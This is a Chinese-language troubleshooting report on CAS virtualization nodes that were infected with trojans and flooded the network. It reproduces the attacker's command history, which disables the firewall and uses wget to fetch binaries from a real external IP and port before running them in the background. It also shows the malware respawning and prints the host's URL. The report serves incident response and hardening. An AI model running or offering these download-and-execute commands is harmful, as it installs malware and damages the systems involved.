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某客户CAS平台中毒导致网络中断排查案例（二）

      某客户CAS平台中毒导致网络中断案例（二）
一、   问题描述：  

某客户CAS平台在运行一段时间后客户使用探测工具发现平台对外发送大量异常报文，影响网络的带
宽。

二、   组网环境
CAS平台在内网，整网通过NAT出外网。
三、   过程分析：

1、使用history命令查看命令历史记录，从执行的命令行看，在5月1日的时候，192.168.2.5 地址的CV
K被入侵，植入了木马，如下命令记录：

/etc/init.d/iptables stop                    

wget http://183.136.214.14:8090/1            

echo "nameserver 8.8.8.8" >> /etc/resolv.conf    # 配置DNS

wget http://183.136.214.14:8090/1             # 从间谍网站下载木马

wget http://183.136.214.14:8090/mimi          # 从间谍网站下载木马

echo "nameserver 8.8.8.8" >> /etc/resolv.conf

chmod 0755 ./1                            # 设置执行权限

nohup /root/1 > /dev/null 2>&1 &             后台执行木马

chmod 0755 ./Manager                         

nohup /root/Manager > /dev/null 2>&1 &       后台执行木马

chmod 0755 ./Internet                        

nohup /root/Internet > /dev/null 2>&1 &      

chmod 0755 ./mimi                            

nohup /root/mimi > /dev/null 2>&1 &           后台执行木马

2、打开http://183.136.214.14:8090的网站地址，外网，需要密码，可以以空账号和密码的形式，连续
点击多次确定，登录进去；将所有的木马程序都测试下载，在下载过程中，检测到病毒：

   

另外，上述网站中，也有Linux的木马，从下载的文件中，有发生问题的两台CVK上下载的程序，
如1，1h，mini，Manager等；

木马网站所在地址，查看是属于浙江绍兴电信的一个外网地址：

https://zhiliao.h3c.com/User/other/349
http://183.136.214.14:8090/


3、采用命令查看到的木马软件：

root@cvknode-data2:~# ls -al

-rwxr-xr-x  1 root root   1295069 Jul 11 11:00 1

-rwxr-xr-x  1 root root    352604 Jul 11 11:00 1h

-rw-r--r--  1 root root        69 Jul 11 11:02 conf.n

-rw-r--r--  1 root root      1328 May 18 23:50 dlcfg

-rwxr-xr-x  1 root root   1513570 May  1 05:51 mimi

其中的两个木马程序：

root@cvknode-data4:~# ps -ef |grep /root/1

root     25537 18785  0 11:09 pts/2    00:00:00 grep --color=auto /root/1

root     54080     1  0 May18 ?        01:07:53 /root/1

root     54084     1  2 May18 ?        1-12:30:52 /root/1h

root@cvknode-data4:~#

强制删除文件，并kill -9 对应的进程后，发现过了一会后，进程和文件又在原来的目录下出现，进
程也自动执行起来；

root@cvknode-data4:~# rm -rf 1 1h            // 强制删除文件

root@cvknode-data4:~# ll

total 404420

drwx------   5 root root      4096 Jul 11 11:24 ./

drwxr-xr-x 25 root root      4096 May  7 12:39 ../

-rw-------   1 root root      1407 May  7 11:55 .bash_history

-rw-r--r--  1 root root      3106 Apr 19  2012 .bashrc

drwx------   2 root root      4096 Apr 14 20:13 .cache/

-rw-r--r--  1 root root 414016881 Apr 14 20:33 CAS-F0123H04-Upgrade.tar.gz

-rw-r--r--  1 root root        69 Jul 11 11:24 conf.n

-rw-r--r--  1 root root     55902 Apr 29 17:03 iperf_2.0.5-2.1_amd64.deb

-rw-r--r--  1 root root       140 Apr 19  2012 .profile

drwxr-xr-x  2 root root      4096 Jun 28 11:49 .ssh/

drwxrwxr-x  6 1005 1006      4096 Apr 14 20:36 upgrade.f0123h04/

-rw-------   1 root root      4507 Apr 29 17:11 .viminfo       // 消失了

root@cvknode-data4:~# ll

total 404420

drwx------   5 root root      4096 Jul 11 11:24 ./

drwxr-xr-x 25 root root      4096 May  7 12:39 ../

-rw-------   1 root root      1407 May  7 11:55 .bash_history

-rw-r--r--  1 root root      3106 Apr 19  2012 .bashrc

drwx------   2 root root      4096 Apr 14 20:13 .cache/

-rw-r--r--  1 root root 414016881 Apr 14 20:33 CAS-F0123H04-Upgrade.tar.gz

-rw-r--r--  1 root root        69 Jul 11 11:25 conf.n

-rw-r--r--  1 root root     55902 Apr 29 17:03 iperf_2.0.5-2.1_amd64.deb

-rw-r--r--  1 root root       140 Apr 19  2012 .profile

drwxr-xr-x  2 root root      4096 Jun 28 11:49 .ssh/

drwxrwxr-x  6 1005 1006      4096 Apr 14 20:36 upgrade.f0123h04/

-rw-------   1 root root      4507 Apr 29 17:11 .viminfo

root@cvknode-data4:~# ps -ef | grep /root

root     53954     1  0 11:24 ?        00:00:00 /root/1

root     54418     1  0 11:24 ?        00:00:00 /root/1h

root     56822 18785  0 11:25 pts/2    00:00:00 grep --color=auto /root

root@cvknode-data4:~# kill -9 53954 54418             // 强制kill掉对应的进程

root@cvknode-data4:~# ps -ef | grep /root               //进程不在了

root     57691 18785  0 11:25 pts/2    00:00:00 grep --color=auto /root

root@cvknode-data4:~# ls -al

total 404420

drwx------   5 root root      4096 Jul 11 11:24 .



drwxr-xr-x 25 root root      4096 May  7 12:39 ..

-rw-------   1 root root      1407 May  7 11:55 .bash_history

-rw-r--r--  1 root root      3106 Apr 19  2012 .bashrc

drwx------   2 root root      4096 Apr 14 20:13 .cache

-rw-r--r--  1 root root 414016881 Apr 14 20:33 CAS-F0123H04-Upgrade.tar.gz

-rw-r--r--  1 root root        69 Jul 11 11:25 conf.n

-rw-r--r--  1 root root     55902 Apr 29 17:03 iperf_2.0.5-2.1_amd64.deb

-rw-r--r--  1 root root       140 Apr 19  2012 .profile

drwxr-xr-x  2 root root      4096 Jun 28 11:49 .ssh

drwxrwxr-x  6 1005 1006      4096 Apr 14 20:36 upgrade.f0123h04

-rw-------   1 root root      4507 Apr 29 17:11 .viminfo

root@cvknode-data4:~# ps -ef | grep /root               // 进程又自动回复了

root     58314     1  0 11:26 ?        00:00:00 /root/1

root     58318     1  0 11:26 ?        00:00:00 /root/1h

root     58418 18785  0 11:26 pts/2    00:00:00 grep --color=auto /root

root@cvknode-data4:~# ls -al

total 406036

drwx------   5 root root      4096 Jul 11 11:26 .

drwxr-xr-x 25 root root      4096 May  7 12:39 ..

-rwxr-xr-x  1 root root   1295069 Jul 11 11:26 1

-rwxr-xr-x  1 root root    352604 Jul 11 11:26 1h           //文件也自动恢复了

-rw-------   1 root root      1407 May  7 11:55 .bash_history

-rw-r--r--  1 root root      3106 Apr 19  2012 .bashrc

drwx------   2 root root      4096 Apr 14 20:13 .cache

-rw-r--r--  1 root root 414016881 Apr 14 20:33 CAS-F0123H04-Upgrade.tar.gz

-rw-r--r--  1 root root        69 Jul 11 11:26 conf.n

-rw-r--r--  1 root root     55902 Apr 29 17:03 iperf_2.0.5-2.1_amd64.deb

-rw-r--r--  1 root root       140 Apr 19  2012 .profile

drwxr-xr-x  2 root root      4096 Jun 28 11:49 .ssh

drwxrwxr-x  6 1005 1006      4096 Apr 14 20:36 upgrade.f0123h04

-rw-------   1 root root      4507 Apr 29 17:11 .viminfo

出问题的两台CVK上都存在对应的对应的进程，如192.168.2.7上，还存在更多的木马进程,从文件
创建日期看，在5月1日创建的；

4、木马程序中，其中的部分txt文档中，含有另外一个网站的地址,截图如下，感觉图片比较形象，由
于是法文，可以切换成英文，没有仔细分析。



   

   

   

   



   

   

   

四、   解决方法：

1、 重新部署有问题的CVK节点，部署时使用较复杂的root密码，包含大小写，数字和特殊的字符信息
，其他节点将root密码修改。

2、 增加防火墙，在防火墙上做好安全策略，使CAS平台与外界网络完全隔开。
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